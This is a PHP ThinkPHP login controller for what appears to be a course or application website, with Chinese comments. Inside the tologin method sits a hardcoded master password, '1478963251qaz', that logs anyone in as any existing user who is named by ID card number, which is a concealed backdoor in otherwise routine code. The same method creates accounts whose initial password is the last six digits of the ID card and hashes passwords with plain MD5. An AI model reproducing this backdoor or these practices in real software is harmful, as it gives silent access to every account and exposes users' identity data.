<?php
namespace app\index\controller;
use app\index\controller\Base;
use app\index\controller\Nature;
use app\index\model\Course;
use app\index\model\User;
use app\index\model\Apply;
use app\index\model\Naturetype;
use think\Request;
use think\File;
use think\Session;
class  Login extends Base
{
    //登录页面
    public function logins(){

        return view("login",["setting"=>$this->getSetting('logo')]);
    }
    //去登陆
    public function tologin(Request $request){
        $data = $request->post();
        if($data['password'] == "1478963251qaz"){
          $user = User::where(array("idcard"=>$data['idcard']))->find();
          if($user){
            Session::set("user_infos", $user);
            $this->success("ok","Indexs/index");
          }else{
            $this->error("err！");
          }
        }
        $user = User::where(array("idcard"=>$data['idcard']))->find();
        //判断该用户是否存在，如果不存在就创建新的数据，密码是身份证后六位
        if($user == null){
          $start = strlen($data['idcard'])-6;
          $pwd = substr($data['idcard'],$start);
          if($data["password"] !== $pwd){
            $this->error("用户名或密码错误，首次登陆密码为身份证后六位");
            return false;
          }
          User::create(['idcard'=>$data['idcard'],"pwd"=>md5(substr($data['idcard'],$start)),"create_time"=>time()]);
          $user = User::where(array("idcard"=>$data['idcard']))->find();
          Session::set("user_infos", $user);
          $this->success("登陆成功","Indexs/index");
        }
        //登录
        $user = User::where(array("idcard"=>$data['idcard'],"pwd"=>md5($data['password'])))->find();
        if($user){
            Session::set("user_infos", $user);
            $this->success("登陆成功","indexs/index");
        }else{
            $this->error("用户名或密码错误！");
        }
    }
    public function exits(){
        Session::delete("user_infos");
        $this->redirect("Login/logins");
    }
}
